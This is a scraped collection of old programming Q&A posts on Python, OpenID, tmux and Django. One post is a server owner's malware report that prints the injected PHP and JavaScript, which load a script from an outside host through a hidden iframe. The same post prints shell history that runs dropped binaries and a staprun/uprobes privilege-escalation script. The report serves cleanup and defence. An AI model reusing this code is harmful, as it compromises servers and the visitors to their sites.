'op_endpoint,claimed_id,identity,return_to,response_nonce,assoc_handle,ns.ext1,ext1.mode,ext1.type.email,ext1.value.email', 'openid.ext1.value.email': '[email protected]', 'openid.assoc_handle': 'AOQobUfssTJ2IxRlxrIvU4Xg8HHQKKTEuqwGxvwwuPR5rNvag0elGlYL', 'openid.ns': 'http://specs.openid.net/auth/2.0', 'openid.identity': 'https://www.google.com/accounts/o8/id?id=AItOawkghgfhf1FkvaQWhD-DxRJo6sS09RwMKjASE', 'openid.ext1.mode': 'fetch_response'} The socialauth itself has been built to accept my email address this way: elif request.openid and request.openid.ax: email = request.openid.ax.get('email') And obviously this fails. Why i am asking all this is, that perhaps i am doing something wrong and my outgoing request is wrong? Or am i doing all correctly and should change the socialaouth module to accept info in a new way and then commit the change? Alan

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  • Miller-rabin exception number?

    - by nightcracker
    Hey everyone. This question is about the number 169716931325235658326303. According to http://www.alpertron.com.ar/ECM.HTM it is prime. According to my miller-rabin implementation in python with 7 repetitions is is composite. With 50 repetitions it is still composite. With 5000 repetitions it is STILL composite. I thought, this might be a problem of my implementation. So I tried GNU MP bignum library, which has a miller-rabin primality test built-in. I tested with 1000000 repetitions. Still composite. This is my implementation of the miller-rabin primality test: def isprime(n, precision=7): if n == 1 or n % 2 == 0: return False elif n < 1: raise ValueError("Out of bounds, first argument must be > 0") d = n - 1 s = 0 while d % 2 == 0: d //= 2 s += 1 for repeat in range(precision): a = random.randrange(2, n - 2) x = pow(a, d, n) if x == 1 or x == n - 1: continue for r in range(s - 1): x = pow(x, 2, n) if x == 1: return False if x == n - 1: break else: return False return True And the code for the GMP test: #include <gmp.h> #include <stdio.h> int main(int argc, char* argv[]) { mpz_t test; mpz_init_set_str(test, "169716931325235658326303", 10); printf("%d\n", mpz_probab_prime_p(test, 1000000)); mpz_clear(test); return 0; } As far as I know there are no "exceptions" (which return false positives for any amount of repetitions) to the miller-rabin primality test. Have I stumpled upon one? Is my computer broken? Is the Elliptic Curve Method wrong? What is happening here? EDIT I found the issue, which is http://www.alpertron.com.ar/ECM.HTM. I trusted this applet, I'll contact the author his applet's implementation of the ECM is faulty for this number. Thanks. EDIT2 Hah, the shame! In the end it was something that went wrong with copy/pasting on my side. NOR the applet NOR the miller-rabin algorithm NOR my implementation NOR gmp's implementation of it is wrong, the only thing that's wrong is me. I'm sorry.

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  • Python form POST using urllib2 (also question on saving/using cookies)

    - by morpheous
    I am trying to write a function to post form data and save returned cookie info in a file so that the next time the page is visited, the cookie information is sent to the server (i.e. normal browser behavior). I wrote this relatively easily in C++ using curlib, but have spent almost an entire day trying to write this in Python, using urllib2 - and still no success. This is what I have so far: import urllib, urllib2 import logging # the path and filename to save your cookies in COOKIEFILE = 'cookies.lwp' cj = None ClientCookie = None cookielib = None logger = logging.getLogger(__name__) # Let's see if cookielib is available try: import cookielib except ImportError: logger.debug('importing cookielib failed. Trying ClientCookie') try: import ClientCookie except ImportError: logger.debug('ClientCookie isn\'t available either') urlopen = urllib2.urlopen Request = urllib2.Request else: logger.debug('imported ClientCookie succesfully') urlopen = ClientCookie.urlopen Request = ClientCookie.Request cj = ClientCookie.LWPCookieJar() else: logger.debug('Successfully imported cookielib') urlopen = urllib2.urlopen Request = urllib2.Request # This is a subclass of FileCookieJar # that has useful load and save methods cj = cookielib.LWPCookieJar() login_params = {'name': 'anon', 'password': 'pass' } def login(theurl, login_params): init_cookies(); data = urllib.urlencode(login_params) txheaders = {'User-agent' : 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)'} try: # create a request object req = Request(theurl, data, txheaders) # and open it to return a handle on the url handle = urlopen(req) except IOError, e: log.debug('Failed to open "%s".' % theurl) if hasattr(e, 'code'): log.debug('Failed with error code - %s.' % e.code) elif hasattr(e, 'reason'): log.debug("The error object has the following 'reason' attribute :"+e.reason) sys.exit() else: if cj is None: log.debug('We don\'t have a cookie library available - sorry.') else: print 'These are the cookies we have received so far :' for index, cookie in enumerate(cj): print index, ' : ', cookie # save the cookies again cj.save(COOKIEFILE) #return the data return handle.read() # FIXME: I need to fix this so that it takes into account any cookie data we may have stored def get_page(*args, **query): if len(args) != 1: raise ValueError( "post_page() takes exactly 1 argument (%d given)" % len(args) ) url = args[0] query = urllib.urlencode(list(query.iteritems())) if not url.endswith('/') and query: url += '/' if query: url += "?" + query resource = urllib.urlopen(url) logger.debug('GET url "%s" => "%s", code %d' % (url, resource.url, resource.code)) return resource.read() When I attempt to log in, I pass the correct username and pwd,. yet the login fails, and no cookie data is saved. My two questions are: can anyone see whats wrong with the login() function, and how may I fix it? how may I modify the get_page() function to make use of any cookie info I have saved ?

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  • python getelementbyid from string

    - by matthewgall
    Hey, I have the following program, that is trying to upload a file (or files) to an image upload site, however I am struggling to find out how to parse the returned HTML to grab the direct link (contained in a ). I have the code below: #!/usr/bin/python # -*- coding: utf-8 -*- import pycurl import urllib import urlparse import xml.dom.minidom import StringIO import sys import gtk import os import imghdr import locale import gettext try: import pynotify except: print "Please install pynotify." APP="Uploadir Uploader" DIR="locale" locale.setlocale(locale.LC_ALL, '') gettext.bindtextdomain(APP, DIR) gettext.textdomain(APP) _ = gettext.gettext ##STRINGS uploading = _("Uploading image to Uploadir.") oneimage = _("1 image has been successfully uploaded.") multimages = _("images have been successfully uploaded.") uploadfailed = _("Unable to upload to Uploadir.") class Uploadir: def __init__(self, args): self.images = [] self.urls = [] self.broadcasts = [] self.username="" self.password="" if len(args) == 1: return else: for file in args: if file == args[0] or file == "": continue if file.startswith("-u"): self.username = file.split("-u")[1] #print self.username continue if file.startswith("-p"): self.password = file.split("-p")[1] #print self.password continue self.type = imghdr.what(file) self.images.append(file) for file in self.images: self.upload(file) self.setClipBoard() self.broadcast(self.broadcasts) def broadcast(self, l): try: str = '\n'.join(l) n = pynotify.Notification(str) n.set_urgency(pynotify.URGENCY_LOW) n.show() except: for line in l: print line def upload(self, file): #Try to login cookie_file_name = "/tmp/uploadircookie" if ( self.username!="" and self.password!=""): print "Uploadir authentication in progress" l=pycurl.Curl() loginData = [ ("username",self.username),("password", self.password), ("login", "Login") ] l.setopt(l.URL, "http://uploadir.com/user/login") l.setopt(l.HTTPPOST, loginData) l.setopt(l.USERAGENT,"User-Agent: Uploadir (Python Image Uploader)") l.setopt(l.FOLLOWLOCATION,1) l.setopt(l.COOKIEFILE,cookie_file_name) l.setopt(l.COOKIEJAR,cookie_file_name) l.setopt(l.HEADER,1) loginDataReturnedBuffer = StringIO.StringIO() l.setopt( l.WRITEFUNCTION, loginDataReturnedBuffer.write ) if l.perform(): self.broadcasts.append("Login failed. Please check connection.") l.close() return loginDataReturned = loginDataReturnedBuffer.getvalue() l.close() #print loginDataReturned if loginDataReturned.find("<li>Your supplied username or password is invalid.</li>")!=-1: self.broadcasts.append("Uploadir authentication failed. Username/password invalid.") return else: self.broadcasts.append("Uploadir authentication successful.") #cookie = loginDataReturned.split("Set-Cookie: ")[1] #cookie = cookie.split(";",0) #print cookie c = pycurl.Curl() values = [ ("file", (c.FORM_FILE, file)) ] buf = StringIO.StringIO() c.setopt(c.URL, "http://uploadir.com/file/upload") c.setopt(c.HTTPPOST, values) c.setopt(c.COOKIEFILE, cookie_file_name) c.setopt(c.COOKIEJAR, cookie_file_name) c.setopt(c.WRITEFUNCTION, buf.write) if c.perform(): self.broadcasts.append(uploadfailed+" "+file+".") c.close() return self.result = buf.getvalue() #print self.result c.close() doc = urlparse.urlparse(self.result) self.urls.append(doc.getElementsByTagName("download")[0].childNodes[0].nodeValue) def setClipBoard(self): c = gtk.Clipboard() c.set_text('\n'.join(self.urls)) c.store() if len(self.urls) == 1: self.broadcasts.append(oneimage) elif len(self.urls) != 0: self.broadcasts.append(str(len(self.urls))+" "+multimages) if __name__ == '__main__': uploadir = Uploadir(sys.argv) Any help would be gratefully appreciated. Warm regards,

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  • Yes, another thread question...

    - by Michael
    I can't understand why I am loosing control of my GUI even though I am implementing a thread to play a .wav file. Can someone pin point what is incorrect? #!/usr/bin/env python import wx, pyaudio, wave, easygui, thread, time, os, sys, traceback, threading import wx.lib.delayedresult as inbg isPaused = False isStopped = False class Frame(wx.Frame): def __init__(self): print 'Frame' wx.Frame.__init__(self, parent=None, id=-1, title="Jasmine", size=(720, 300)) #initialize panel panel = wx.Panel(self, -1) #initialize grid bag sizer = wx.GridBagSizer(hgap=20, vgap=20) #initialize buttons exitButton = wx.Button(panel, wx.ID_ANY, "Exit") pauseButton = wx.Button(panel, wx.ID_ANY, 'Pause') prevButton = wx.Button(panel, wx.ID_ANY, 'Prev') nextButton = wx.Button(panel, wx.ID_ANY, 'Next') stopButton = wx.Button(panel, wx.ID_ANY, 'Stop') #add widgets to sizer sizer.Add(pauseButton, pos=(1,10)) sizer.Add(prevButton, pos=(1,11)) sizer.Add(nextButton, pos=(1,12)) sizer.Add(stopButton, pos=(1,13)) sizer.Add(exitButton, pos=(5,13)) #initialize song time gauge #timeGauge = wx.Gauge(panel, 20) #sizer.Add(timeGauge, pos=(3,10), span=(0, 0)) #initialize menuFile widget menuFile = wx.Menu() menuFile.Append(0, "L&oad") menuFile.Append(1, "E&xit") menuBar = wx.MenuBar() menuBar.Append(menuFile, "&File") menuAbout = wx.Menu() menuAbout.Append(2, "A&bout...") menuAbout.AppendSeparator() menuBar.Append(menuAbout, "Help") self.SetMenuBar(menuBar) self.CreateStatusBar() self.SetStatusText("Welcome to Jasime!") #place sizer on panel panel.SetSizer(sizer) #initialize icon self.cd_image = wx.Image('cd_icon.png', wx.BITMAP_TYPE_PNG) self.temp = self.cd_image.ConvertToBitmap() self.size = self.temp.GetWidth(), self.temp.GetHeight() wx.StaticBitmap(parent=panel, bitmap=self.temp) #set binding self.Bind(wx.EVT_BUTTON, self.OnQuit, id=exitButton.GetId()) self.Bind(wx.EVT_BUTTON, self.pause, id=pauseButton.GetId()) self.Bind(wx.EVT_BUTTON, self.stop, id=stopButton.GetId()) self.Bind(wx.EVT_MENU, self.loadFile, id=0) self.Bind(wx.EVT_MENU, self.OnQuit, id=1) self.Bind(wx.EVT_MENU, self.OnAbout, id=2) #Load file usiing FileDialog, and create a thread for user control while running the file def loadFile(self, event): foo = wx.FileDialog(self, message="Open a .wav file...", defaultDir=os.getcwd(), defaultFile="", style=wx.FD_MULTIPLE) foo.ShowModal() self.queue = foo.GetPaths() self.threadID = 1 while len(self.queue) != 0: self.song = myThread(self.threadID, self.queue[0]) self.song.start() while self.song.isAlive(): time.sleep(2) self.queue.pop(0) self.threadID += 1 def OnQuit(self, event): self.Close() def OnAbout(self, event): wx.MessageBox("This is a great cup of tea.", "About Jasmine", wx.OK | wx.ICON_INFORMATION, self) def pause(self, event): global isPaused isPaused = not isPaused def stop(self, event): global isStopped isStopped = not isStopped class myThread (threading.Thread): def __init__(self, threadID, wf): self.threadID = threadID self.wf = wf threading.Thread.__init__(self) def run(self): global isPaused global isStopped self.waveFile = wave.open(self.wf, 'rb') #initialize stream self.p = pyaudio.PyAudio() self.stream = self.p.open(format = self.p.get_format_from_width(self.waveFile.getsampwidth()), channels = self.waveFile.getnchannels(), rate = self.waveFile.getframerate(), output = True) self.data = self.waveFile.readframes(1024) isPaused = False isStopped = False #main play loop, with pause event checking while self.data != '': # while isPaused != True: # if isStopped == False: self.stream.write(self.data) self.data = self.waveFile.readframes(1024) # elif isStopped == True: # self.stream.close() # self.p.terminate() self.stream.close() self.p.terminate() class App(wx.App): def OnInit(self): self.frame = Frame() self.frame.Show() self.SetTopWindow(self.frame) return True def main(): app = App() app.MainLoop() if __name__=='__main__': main()

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  • How to check for palindrome using Python logic

    - by DrOnline
    My background is only a 6 month college class in basic C/C++, and I'm trying to convert to Python. I may be talking nonsense, but it seems to me C, at least at my level, is very for-loop intensive. I solve most problems with these loops. And it seems to me the biggest mistake people do when going from C to Python is trying to implement C logic using Python, which makes things run slowly, and it's just not making the most of the language. I see on this website: http://hyperpolyglot.org/scripting (serach for "c-style for", that Python doesn't have C-style for loops. Might be outdated, but I interpret it to mean Python has its own methods for this. I've tried looking around, I can't find much up to date (Python 3) advice for this. How can I solve a palindrome challenge in Python, without using the for loop? I've done this in C in class, but I want to do it in Python, on a personal basis. The problem is from the Euler Project, great site btw. def isPalindrome(n): lst = [int(n) for n in str(n)] l=len(lst) if l==0 || l==1: return True elif len(lst)%2==0: for k in range (l) ##### else: while (k<=((l-1)/2)): if (list[]): ##### for i in range (999, 100, -1): for j in range (999,100, -1): if isPalindrome(i*j): print(i*j) break I'm missing a lot of code here. The five hashes are just reminders for myself. Concrete questions: 1) In C, I would make a for loop comparing index 0 to index max, and then index 0+1 with max-1, until something something. How to best do this in Python? 2) My for loop (in in range (999, 100, -1), is this a bad way to do it in Python? 3) Does anybody have any good advice, or good websites or resources for people in my position? I'm not a programmer, I don't aspire to be one, I just want to learn enough so that when I write my bachelor's degree thesis (electrical engineering), I don't have to simultaneously LEARN an applicable programming language while trying to obtain good results in the project. "How to go from basic C to great application of Python", that sort of thing. 4) Any specific bits of code to make a great solution to this problem would also be appreciated, I need to learn good algorithms.. I am envisioning 3 situations. If the value is zero or single digit, if it is of odd length, and if it is of even length. I was planning to write for loops... PS: The problem is: Find the highest value product of two 3 digit integers that is also a palindrome.

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  • PyGTK: Radiobuttons are still displayed after removal

    - by canavanin
    Hi everyone! I am using PyGTK and the gtk.assistant. On one page I would like to display two radiobuttons in case the user selected a certain option on a previous page. The labels of the buttons - and whether the buttons are to be present at all - are to depend entirely on that earlier selection. Furthermore, if the user goes back and changes that selection, the page containing the radiobuttons is to be updated accordingly. I have got as far as having the radiobuttons displayed when necessary, and with the correct labels. The trouble is that if I go back and change the determining selection, or if I move one page further than the 'radiobutton page' and then move back, the buttons are not only not removed (in case that would have been required), their number has also doubled. To show you what I'm doing, here's part of my code (I've left out bits that do unrelated things, that's why the function name doesn't fit). The function is called when the "prepare" signal is emitted prior to construction of the 'radiobutten page'. def make_class_skills_treestore(self): print self.trained_by_default_hbox.get_children() # PRINT 1 for child in self.trained_by_default_hbox.get_children(): if type(child) == gtk.RadioButton: self.trained_by_default_hbox.remove(child) #child.destroy() # <-- removed the labels, but not the buttons print self.trained_by_default_hbox.get_children() # PRINT 2 class_skills = self.data.data['classes'][selected_class].class_skills.values() default_trained_count = (class_skills.count([True, True]) , class_skills.count([True, False])) num_default_trained_skills = default_trained_count[1] / 2 # you have to pick one of a pair --> don't # count each as trained by default for i in range(default_trained_count[0]): # those are trained by default --> no choice num_default_trained_skills +=1 selected_class = self.get_classes_key_from_class_selection() if default_trained_count[1]: for skill in self.data.data['classes'][selected_class].class_skills.keys(): if self.data.data['classes'][selected_class].class_skills[skill] == [ True, False ] and not self.default_radio: self.default_radio.append(gtk.RadioButton(group=None, label=skill)) elif self.data.data['classes'][selected_class].class_skills[skill] == [ True, False ] and self.default_radio: self.default_radio.append(gtk.RadioButton(group=self.default_radio[0], label=skill)) if self.default_radio: for radio in self.default_radio: self.trained_by_default_hbox.add(radio) self.trained_by_default_hbox.show_all() self.trained_by_default_hbox and self.trained_by_default_label, as well as self.default_radio stem from the above function's class. I have two print statements (PRINT 1 and PRINT 2) in there for debugging. Here's what they give me: PRINT 1: [<gtk.Label object at 0x8fc4c84 (GtkLabel at 0x90a2f20)>, <gtk.RadioButton object at 0x8fc4d4c (GtkRadioButton at 0x90e4018)>, <gtk.RadioButton object at 0x8fc4cac (GtkRadioButton at 0x90ceec0)>] PRINT 2: [<gtk.Label object at 0x8fc4c84 (GtkLabel at 0x90a2f20)>] So the buttons have indeed been removed, yet they still show up on the page. I know the code requires some refactoring, but first I'd like to get it to work at all... If someone could help me out that would be great! Thanks a lot in advance for your replies - any kind of help is highly appreciated.

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  • After each command tmux prints: ps1_update: command not found

    - by B.I.
    On Linux Ubuntu 11.04, after each command (cd, ls, vim...) successful or not, tmux prints out as a last line ps1_update: command not found. Is there any config option I am missing? Thank you very much! tmux.conf # http://lukaszwrobel.pl/blog/tmux-tutorial-split-terminal-windows-easily # just remember that after every modification, tmux must be refreshed # to take new settings into account. # This can be achieved either by restarting it or by typing in: # tmux source-file .tmux.conf # Here is a list of a few basic tmux commands: # Ctrl+b " - split pane horizontally. # Ctrl+b % - split pane vertically. # Ctrl+b arrow key - switch pane. # Hold Ctrl+b, don't release it and hold one of the arrow keys - resize pane. # !Ctrl+b c - (c)reate a new window. # !Ctrl+b n - move to the (n)ext window. # Ctrl+b p - move to the (p)revious window. # Shift+LMB - select text. # ALT+Arrows to move among panes. # rebind default prefix to C-a unbind C-b set -g prefix C-a # use ALT+Arrows to move around panes bind -n M-Left select-pane -L bind -n M-Right select-pane -R bind -n M-Up select-pane -U bind -n M-Down select-pane -D # activity monitoring setw -g monitor-activity on set -g visual-activity on # highlight current pane set-window-option -g window-status-current-bg yellow # enable pane switching with mouse set-option -g mouse-select-pane on # read bashrc source ~/.bashrc # Sane scrolling set -g terminal-overrides 'xterm*:smcup@:rmcup@' commandline print out ($(cat)user@tiki:~/.vim$ ls autoload bash_profile bashrc bundle README.md tmux.conf vimrc xmonad xmonad-ubuntu-conf xsessionrc ps1_update: command not found ($(cat)user@tiki:~/.vim$ ll total 56 drwxrwxr-x 2 user user 4096 Mar 17 10:20 autoload/ -rw-rw-r-- 1 user user 170 Mar 17 10:20 bash_profile -rw-rw-r-- 1 user user 4004 Apr 2 11:37 bashrc drwxrwxr-x 20 user user 4096 Aug 20 10:55 bundle/ -rw-rw-r-- 1 user user 11170 Aug 20 11:24 README.md -rw-rw-r-- 1 user user 1243 Mar 17 10:20 tmux.conf ps1_update: command not found ($(cat)user@tiki:~/.vim$ And the following is plain terminal output, without tmux running user@tiki:~$ ls backup_list.md Documents Dropbox examples.desktop hakers_and_painters.md~ hyundai Music projects ror Ubuntu One Videos windows.sh Desktop Downloads elif.txt hakers_and_painters.md help.txt maqola.txt Pictures Public tmp update_background.sh VirtualBox VMs user@tiki:~$ ll total 116 -rw-rw-r-- 1 user user 380 Aug 9 17:34 backup_list.md drwxr-xr-x 6 user user 4096 Jul 15 09:26 Desktop/ drwxr-xr-x 2 user user 4096 Jul 7 11:26 Documents/ drwxr-xr-x 11 user user 20480 Aug 20 13:53 Downloads/ -rwx------ 1 user user 729 May 7 14:45 update_background.sh* drwxr-xr-x 2 user user 4096 Dec 10 2013 Videos/ drwxrwxr-x 4 user user 4096 Sep 10 2013 VirtualBox VMs/ -rwxrwxr-x 1 user user 36 Jan 11 2014 windows.sh* user@tiki:~$ cd Desktop/ user@tiki:~/Desktop$ ll total 36 -rw-rw-r-- 1 user user 3388 Jul 14 17:10 daily--report.md -rw-rw-r-- 1 user user 71 Jan 28 2014 fernandez readme.md -rw-rw-r-- 1 user user 23 Jan 28 2014 fernandez readme.md~ drwx------ 4 user user 4096 Mar 23 14:02 my_docs/ drwx------ 2 user user 4096 Feb 3 2014 Origami/ drwx------ 7 user user 4096 Feb 1 2013 Plants_vs._Zombies_v1.2.0.1065/ -rwxr-xr-x 1 user user 301 Apr 15 11:28 Sky Fight.desktop* drwx------ 2 user user 4096 Feb 11 2014 webdesign/ -rwxrwxr-x 1 user user 26 Jan 11 2014 windows.sh~* user@tiki:~/Desktop$

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  • Mass targeted malware installed - g00glestatic.com [closed]

    - by Silver89
    Possible Duplicate: My server’s been hacked EMERGENCY I run a webserver which over the last few days seems to have become infected with malware that tries to include content from "http://g00glestatic.com/s.js" It appears the attacker gained access to one of the user accounts (not root), made a few changes, added a few files and ran a few bash commands. These changes stuck out clearly to me because it is not a shared server and I am the only person with access through very secure passwords. The php/javascript code that was added .php files, this code was added: #9c282e# if(!$srvc_counter) { echo "<script type=\"text/javascript\" src=\"http://g00glestatic.com/s.js\"></script>"; $srvc_counter = true;} #/9c282e# .js files, this code was added: /*9c282e*/ var _f = document.createElement('iframe'),_r = 'setAttribute'; _f[_r]('src', 'http://g00glestatic.com/s.js'); _f.style.position = 'absolute';_f.style.width = '10px'; _f[_r]('frameborder', navigator.userAgent.indexOf('bf3f1f8686832c30d7c764265f8e7ce8') + 1); _f.style.left = '-5540px'; document.write('<div id=\'MIX_ADS\'></div>'); document.getElementById('MIX_ADS').appendChild(_f); /*/9c282e*/ The bash command taken from .bash_history (Some usernames/passwords have been subbed) su -c id $replacedPassword id; id; sudo id; replacedPassword id; cd /home/replacedUserId1; chmod +x .sess_28e2f1bc755ed3ca48b32fbcb55b91a7; ./.sess_28e2f1bc755ed3ca48b32fbcb55b91a7; rm /home/replacedUserId1/.sess_28e2f1bc755ed3ca48b32fbcb55b91a7; id; cd /home/replacedUserId1; chmod +x .sess_05ee5257fed0ac8e0f12096f4c3c0d20; ./.sess_05ee5257fed0ac8e0f12096f4c3c0d20; rm /home/replacedUserId1/.sess_05ee5257fed0ac8e0f12096f4c3c0d20; id; cd /home/replacedUserId1; chmod +x .sess_bfa542fc2578cce68eb373782c5689b9; ./.sess_bfa542fc2578cce68eb373782c5689b9; rm /home/replacedUserId1/.sess_bfa542fc2578cce68eb373782c5689b9; id; cd /home/replacedUserId1; chmod +x .sess_bfa542fc2578cce68eb373782c5689b9; ./.sess_bfa542fc2578cce68eb373782c5689b9; rm /home/replacedUserId1/.sess_bfa542fc2578cce68eb373782c5689b9; id; cd /home/replacedUserId1; chmod +x .sess_fb19dfb52ed4a3ae810cd4454ac6ef1e; ./.sess_fb19dfb52ed4a3ae810cd4454ac6ef1e; rm /home/replacedUserId1/.sess_fb19dfb52ed4a3ae810cd4454ac6ef1e; id; kill -9 $$;; kill -9 $$;; kill -9 $$; The above seems to move files added to the public_html to the level above? I also have all 4 of the files that were added: .sess_28e2f1bc755ed3ca48b32fbcb55b91a7 .sess_05ee5257fed0ac8e0f12096f4c3c0d20 .sess_bfa542fc2578cce68eb373782c5689b9 .sess_fb19dfb52ed4a3ae810cd4454ac6ef1e Of those four above files, three are none viewable in notepad++ and display null characters, whereas sess_fb19dfb52ed4a3ae810cd4454ac6ef1e consists of: #!/bin/sh export PATH=$PATH:/sbin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/bin; export LC_ALL=en_US.UTF-8 LC_COLLATE=en_US.UTF-8 LC_CTYPE=en_US.UTF-8 LANG=en_US.UTF-8 LANGUAGE=en_US.UTF-8 export TERM=linux echo -n "-> checking staprun: "; if which staprun 2>&1 | grep -q "no $1"; then flag=1 elif [ -z "`which $1 2>&1`" ]; then flag=1; fi if [ "$flag" = "1" ]; then echo "no staprun, exiting"; exit; else echo "found"; echo "-> trying to exploit... "; printf "install uprobes /bin/sh" > ololo.conf; MODPROBE_OPTIONS="-C ololo.conf" staprun -u ololo rm -f ololo.conf fi Other Noticeable Edits Any files that contain: ([.htaccess]|[index|header|footer].php|[*.js]) will have been modified and all system file and directory permissions will have been changed to: x--x--x My steps to remove this malware re uploaded original php/js files to revert any changes Changed all user passwords Modified hosts.allow to a static ip so that only I have access Removed the above 4 files and checked all modified file dates within that directory to check for any other recent modifications, none can be found Conclusion I'm hoping that as they did not have root access, any changes they wished to make higher up failed and they were only able to display an iframe on the site for a short amount of time? What else do I need to look for to check the malware infection has not spread? Second Conclusion This malware sinks too deep to 'clean', if you get infected I recommend a server nuke and rebuild from backups with increased security. Possibility It's possible that Filezilla ftp passwords were stolen through a trojan as they're unfortunately stored unencrypted. However Trend Micro Titanium has not found any. The settings box to disable passwords being saved has now been ticked, I also recommend that you take this action.

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  • How does this decorator make a call to the 'register' method?

    - by BryanWheelock
    I'm trying to understand what is going on in the decorator @not_authenticated. The next step in the TraceRoute is to the method 'register' which is also located in django_authopenid/views.py which I just don't understand because I don't see anywhere that register is even mentioned in signin() How is the method 'register' called? def not_authenticated(func): """ decorator that redirect user to next page if he is already logged.""" def decorated(request, *args, **kwargs): if request.user.is_authenticated(): next = request.GET.get("next", "/") return HttpResponseRedirect(next) return func(request, *args, **kwargs) return decorated @not_authenticated def signin(request,newquestion=False,newanswer=False): """ signin page. It manage the legacy authentification (user/password) and authentification with openid. url: /signin/ template : authopenid/signin.htm """ request.encoding = 'UTF-8' on_failure = signin_failure next = clean_next(request.GET.get('next')) form_signin = OpenidSigninForm(initial={'next':next}) form_auth = OpenidAuthForm(initial={'next':next}) if request.POST: if 'bsignin' in request.POST.keys() or 'openid_username' in request.POST.keys(): form_signin = OpenidSigninForm(request.POST) if form_signin.is_valid(): next = clean_next(form_signin.cleaned_data.get('next')) sreg_req = sreg.SRegRequest(optional=['nickname', 'email']) redirect_to = "%s%s?%s" % ( get_url_host(request), reverse('user_complete_signin'), urllib.urlencode({'next':next}) ) return ask_openid(request, form_signin.cleaned_data['openid_url'], redirect_to, on_failure=signin_failure, sreg_request=sreg_req) elif 'blogin' in request.POST.keys(): # perform normal django authentification form_auth = OpenidAuthForm(request.POST) if form_auth.is_valid(): user_ = form_auth.get_user() login(request, user_) next = clean_next(form_auth.cleaned_data.get('next')) return HttpResponseRedirect(next) question = None if newquestion == True: from forum.models import AnonymousQuestion as AQ session_key = request.session.session_key qlist = AQ.objects.filter(session_key=session_key).order_by('-added_at') if len(qlist) > 0: question = qlist[0] answer = None if newanswer == True: from forum.models import AnonymousAnswer as AA session_key = request.session.session_key alist = AA.objects.filter(session_key=session_key).order_by('-added_at') if len(alist) > 0: answer = alist[0] return render('authopenid/signin.html', { 'question':question, 'answer':answer, 'form1': form_auth, 'form2': form_signin, 'msg': request.GET.get('msg',''), 'sendpw_url': reverse('user_sendpw'), }, context_instance=RequestContext(request)) Looking at the request, it seems that account/register/ does reference the register method with 'PATH_INFO': u'/account/register/' Here is the request: <WSGIRequest GET:<QueryDict: {}>, POST:<QueryDict: {u'username': [u'BryanWheelock'], u'email': [u'[email protected]'], u'bnewaccount': [u'Signup']}>, COOKIES:{'__utma': '127460431.1218630960.1266769637.1266769637.1266864494.2', '__utmb': '127460431.3.10.1266864494', '__utmc': '127460431', '__utmz': '127460431.1266769637.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)', 'sessionid': 'fb15ee538320170a22d3a3a324aad968'}, META:{'CONTENT_LENGTH': '74', 'CONTENT_TYPE': 'application/x-www-form-urlencoded', 'DOCUMENT_ROOT': '/usr/local/apache2/htdocs', 'GATEWAY_INTERFACE': 'CGI/1.1', 'HTTP_ACCEPT': 'application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5', 'HTTP_ACCEPT_CHARSET': 'ISO-8859-1,utf-8;q=0.7,*;q=0.3', 'HTTP_ACCEPT_ENCODING': 'gzip,deflate,sdch', 'HTTP_ACCEPT_LANGUAGE': 'en-US,en;q=0.8', 'HTTP_CACHE_CONTROL': 'max-age=0', 'HTTP_CONNECTION': 'close', 'HTTP_COOKIE': '__utmz=127460431.1266769637.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=127460431.1218630960.1266769637.1266769637.1266864494.2; __utmc=127460431; __utmb=127460431.3.10.1266864494; sessionid=fb15ee538320170a22d3a3a324aad968', 'HTTP_HOST': 'workproject.com', 'HTTP_ORIGIN': 'http://workproject.com', 'HTTP_REFERER': 'http://workproject.com/account/signin/complete/?next=%2F&janrain_nonce=2010-02-22T18%3A49%3A53ZG2KXci&openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0&openid.mode=id_res&openid.op_endpoint=https%3A%2F%2Fwww.google.com%2Faccounts%2Fo8%2Fud&openid.response_nonce=2010-02-22T18%3A49%3A53Znxxxxxxxxxw&openid.return_to=http%3A%2F%2Fworkproject.com%2Faccount%2Fsignin%2Fcomplete%2F%3Fnext%3D%252F%26janrain_nonce%3D2010-02-22T18%253A49%253A53ZG2KXci&openid.assoc_handle=AOQobUepU4xs-kGg5LiyLzfN3RYv0I0Jocgjf_1odT4RR9zfMFpQVpMg&openid.signed=op_endpoint%2Cclaimed_id%2Cidentity%2Creturn_to%2Cresponse_nonce%2Cassoc_handle&openid.sig=Jf76i2RNhqpLTJMjeQ0nnQz6fgA%3D&openid.identity=https%3A%2F%2Fwww.google.com%2Faccounts%2Fo8%2Fid%3Fid%3DAItxxxxxxxxxs9CxHQ3PrHw_N5_3j1HM&openid.claimed_id=https%3A%2F%2Fwww.google.com%2Faccounts%2Fo8%2Fid%3Fid%3DAItOaxxxxxxxxxxx4s9CxHQ3PrHw_N5_3j1HM', 'HTTP_USER_AGENT': 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Chrome/5.0.307.7 Safari/532.9', 'HTTP_X_FORWARDED_FOR': '96.8.31.235', 'PATH': '/usr/bin:/bin', 'PATH_INFO': u'/account/register/', 'PATH_TRANSLATED': '/home/spirituality/webapps/work/spirit_app.wsgi/account/register/', 'QUERY_STRING': '', 'REMOTE_ADDR': '127.0.0.1', 'REMOTE_PORT': '59956', 'REQUEST_METHOD': 'POST', 'REQUEST_URI': '/account/register/', 'SCRIPT_FILENAME': '/home/spirituality/webapps/spirituality/spirit_app.wsgi', 'SCRIPT_NAME': u'', 'SERVER_ADDR': '127.0.0.1', 'SERVER_ADMIN': '[no address given]', 'SERVER_NAME': 'workproject.com', 'SERVER_PORT': '80', 'SERVER_PROTOCOL': 'HTTP/1.0', 'SERVER_SIGNATURE': '', 'SERVER_SOFTWARE': 'Apache/2.2.12 (Unix) mod_wsgi/2.5 Python/2.5.4', 'mod_wsgi.application_group': 'www.workProject.com|', 'mod_wsgi.callable_object': 'application', 'mod_wsgi.listener_host': '', 'mod_wsgi.listener_port': '25931', 'mod_wsgi.process_group': '', 'mod_wsgi.reload_mechanism': '0', 'mod_wsgi.script_reloading': '1', 'mod_wsgi.version': (2, 5), 'wsgi.errors': <mod_wsgi.Log object at 0xb7ce0038>, 'wsgi.file_wrapper': <built-in method file_wrapper of mod_wsgi.Adapter object at 0xb7e94b18>, 'wsgi.input': 